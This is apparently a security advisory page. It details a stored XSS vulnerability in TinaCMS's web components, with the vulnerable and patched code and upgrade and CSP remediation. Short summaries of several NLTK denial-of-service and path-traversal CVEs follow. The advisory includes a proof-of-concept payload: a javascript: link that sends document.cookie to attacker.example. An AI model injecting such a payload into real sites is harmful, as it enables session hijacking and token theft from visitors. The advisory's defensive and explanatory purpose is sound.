Oct 10, 2026·5 min read·15 visits
Unsanitized link and image URLs in @tinacms/web-components allow content editors to inject stored cross-site scripting payloads via javascript: URIs.
A Stored Cross-Site Scripting vulnerability in @tinacms/web-components prior to version 0.2.1 allows low-privileged content authors to execute arbitrary JavaScript code in the context of website visitors via unsanitized URL attributes in custom Markdown rendering components.
CVE-2026-108260 (also tracked as GHSA-c42q-qvc3-j6vg) is a Stored Cross-Site Scripting (Stored XSS) vulnerability in @tinacms/web-components, a core web component package within the TinaCMS headless content management framework ecosystem.
TinaCMS utilizes custom web components such as <tina-markdown> to parse and render rich-text Markdown Abstract Syntax Tree (AST) structures into standard HTML DOM elements. The package handles content generated by users, editors, and automated workflows across web applications built with TinaCMS.
Prior to version 0.2.1 of @tinacms/web-components, the component failed to validate URI schemes when assigning URL properties from AST nodes to rendered HTML element attributes. As a result, low-privileged users capable of submitting or editing Markdown content can embed arbitrary JavaScript code using script-capable URI schemes such as javascript:.
When end users or platform administrators interact with rendered elements, the injected code executes directly within their active browser origin. This enables session hijacking, administrative token theft, and unauthorized background operations.
The fundamental root cause of CVE-2026-108260 lies in incomplete input neutralization across distinct content parsing branches in packages/@tinacms/web-components/src/tina-markdown.js (classified under CWE-79 and CWE-83).
While raw HTML fragments processed by the component were sanitized using DOMPurify, structured Markdown AST link nodes (node.type === 'a') and image nodes (node.type === 'img') bypassed this protection entirely. The parsing logic extracted the raw node.url value directly from the input JSON or AST object and assigned it directly to HTMLElement.href or HTMLElement.src properties.
Because standard browser DOM bindings automatically execute javascript: protocol strings assigned to anchor href attributes upon activation, the absence of scheme verification creates a direct path from untrusted AST nodes to client-side code execution.
Examination of packages/@tinacms/web-components/src/tina-markdown.js before the patch highlights the flawed conditional logic within the node renderer function:
function renderNode(node) {
const tag = getTag(node);
/** @type {HTMLElement} */
const el = document.createElement(tag);
// VULNERABLE: Direct property assignment without scheme verification
if (node.url && node.type === 'a') el.href = node.url;
if (node.url && node.type === 'img') el.src = node.url;
return el;
}To remediate this vulnerability in commit 5295e077f0d279c35686a0e481a15e33a4877e3b (PR #7523), the developers integrated the sanitizeUrl helper function from @tinacms/mdx/sanitize-url. This helper verifies that candidate URLs match an allow-list of safe protocols (http, https, mailto, tel, xref, or relative paths). If an unapproved scheme such as javascript: is passed, sanitizeUrl evaluates to an empty string "".
import { sanitizeUrl } from '@tinacms/mdx/sanitize-url';
import DOMPurify from 'dompurify';
function renderNode(node) {
const tag = getTag(node);
/** @type {HTMLElement} */
const el = document.createElement(tag);
// PATCHED: URL input sanitization applied prior to DOM property assignment
if (node.url && node.type === 'a') el.href = sanitizeUrl(node.url);
if (node.url && node.type === 'img') el.src = sanitizeUrl(node.url);
return el;
}The fix successfully neutralizes script injection while preserving operational relative and absolute links. The inclusion of sanitizeUrl aligns @tinacms/web-components with the sanitization patterns enforced in TinaCMS React and Astro renderer implementations.
Exploitation requires low-privileged access to create or modify content handled by TinaCMS. The attacker constructs a rich-text payload containing an AST node with a malicious protocol URI.
An example JSON AST payload injected into the content store takes the following form:
{
"type": "root",
"children": [
{
"type": "a",
"url": "javascript:fetch('https://attacker.example/steal?c=' + encodeURIComponent(document.cookie))",
"children": [
{
"type": "text",
"text": "Click here to verify account information"
}
]
}
]
}When <tina-markdown> processes this object on a rendered public page or administrative preview, it generates the following DOM structure:
<a href="javascript:fetch('https://attacker.example/steal?c=' + encodeURIComponent(document.cookie))">Click here to verify account information</a>When a victim clicks the link, the browser executes the script payload in the context of the active domain, bypassing traditional input filters that only inspect raw string HTML.
The CVSS v3.1 base score for CVE-2026-108260 is 7.6 (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N). The scope is evaluated as Changed (S:C) because execution shifts from content authoring to the application runtime environment.
Successful exploitation allows attackers to perform session hijacking, harvest session tokens or OAuth bearer tokens from standard web storage (localStorage and sessionStorage), perform unauthorized REST API operations on behalf of administrative users, or rewrite DOM content to phish for credentials.
> [!NOTE]
> Web applications relying on session cookies lacking the HttpOnly attribute are particularly exposed to direct cookie extraction via this mechanism.
Organizations using @tinacms/web-components should immediately upgrade to version 0.2.1 or higher. Monorepo setups managing tinacms dependencies should update the primary package to version 3.14.0 or higher.
Execute the following command in affected project workspaces:
npm install @tinacms/web-components@0.2.1In addition to package updates, engineering teams should enforce a strict Content Security Policy (CSP) header across application domains. Restricting script sources prevents execution of inline protocols (javascript:):
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';Finally, stored Markdown content in CMS repositories should be scanned for occurrences of javascript: protocol strings to identify pre-existing malicious entries.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
@tinacms/web-components TinaCMS | < 0.2.1 | 0.2.1 |
tinacms TinaCMS | < 3.14.0 | 3.14.0 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 / CWE-83 |
| Attack Vector | Network (HTTP/HTTPS) |
| CVSS v3.1 Score | 7.6 (High) |
| Privileges Required | Low (Author / Editor) |
| User Interaction | Required (Clicking link) |
| Exploit Status | Proof of Concept |
| KEV Status | Not Listed |
The soft/web application improperly neutralizes script and protocol attributes when rendering web content.
CVE-2026-126298 (also tracked as GHSA-r53h-rw34-8h97) is an algorithmic complexity Denial of Service (DoS) vulnerability in the Natural Language Toolkit (NLTK) Python library affecting all versions prior to 3.10.4. The vulnerability resides in the nltk.tree.transforms.chomsky_normal_form function and its corresponding public method Tree.chomsky_normal_form(). When transforming a parse tree into Chomsky Normal Form using the default right-factoring strategy, the function repeatedly invokes list.pop(0) inside a loop iterating over all children of a node. In CPython, removing the initial element of a standard list requires an O(N) memory shift operation, causing the overall binarization algorithm to degrade to O(N^2) quadratic time complexity relative to the width of a node. Furthermore, converting horizontal node width into vertical tree depth bypasses initial parsing depth bounds, triggering subsequent stack exhaustion (RecursionError) when recursive methods traverse the mutated structure. Unauthenticated remote attackers who can submit bracketed tree strings to applications invoking this transformation can exhaust single-threaded CPU resources or induce unhandled application exceptions.
An algorithmic complexity vulnerability (CWE-407) in the Natural Language Toolkit (NLTK) before version 3.10.4 allows remote unauthenticated attackers to cause a denial of service via crafted Combinatory Categorial Grammar (CCG) lexicon strings. The parser in nltk.ccg.lexicon.fromstring performs repeated immutable string slicing, concatenation, and regex tail capturing, resulting in O(n^2) CPU consumption when processing wide, flat category definitions.
CVE-2026-126295 (also tracked as GHSA-fg9w-wfp5-j933) is a path confinement bypass vulnerability in the Natural Language Toolkit (NLTK) affecting versions 3.10.0 prior to 3.10.4. The flaw resides in nltk/parse/bllip.py within the BllipParser class and its factory method BllipParser.from_unified_model_dir(). Unlike sibling tool wrappers in NLTK that enforce data-root confinement via the nltk.pathsec module, BllipParser passes caller-supplied filesystem paths directly into the third-party bllipparser native C extension without validation. When an application passes untrusted input as model paths or directories to BllipParser, an attacker can force the native extension to open arbitrary files on the local filesystem. This leads to information disclosure through parser diagnostic oracles, local model tampering via shared directories, and denial of service by hanging worker threads on blocking special files (such as FIFOs or device nodes) or exhausting memory via oversized files.
CVE-2026-126300 (GHSA-ffr9-mgrr-wcvr) is an inefficient algorithmic complexity vulnerability (CWE-407) in the Natural Language Toolkit (NLTK) Python library affecting versions 3.2.5 prior to 3.10.4. The flaw resides in the quote-restoration routine of TreebankWordTokenizer.span_tokenize and NLTKWordTokenizer.span_tokenize, where repeated calls to list.pop(0) over matched quote tokens introduce quadratic O(n^2) time complexity. An unauthenticated remote attacker who supplies input containing long sequences of double-quote characters can exhaust CPU resources and degrade service availability.
The Natural Language Toolkit (NLTK) versions 3.6 through 3.10.3 contain an algorithmic complexity vulnerability in the LegalitySyllableTokenizer.tokenize method. When processing tokens composed of continuous runs of vowels, an unguarded string reversal and set membership lookup loop executes in quadratic time relative to the input token length. Remote attackers capable of submitting arbitrary text to applications utilizing this tokenizer can trigger sustained single-core CPU exhaustion and application-level denial of service.
CVE-2026-126304 is a symlink path traversal vulnerability (CWE-59) in the Natural Language Toolkit (NLTK) versions 3.10.0 prior to 3.10.4. The YCOECorpusReader class constructs internal sub-readers for the 'psd' and 'pos' subdirectories using FileSystemPathPointer.join(), which relies exclusively on lexical string-prefix validation rather than canonical path resolution. An attacker who supplies a crafted YCOE corpus containing symbolic links in place of the 'psd' or 'pos' subdirectories can bypass directory confinement and read arbitrary files from sibling corpora or sensitive directories within the NLTK data sandbox.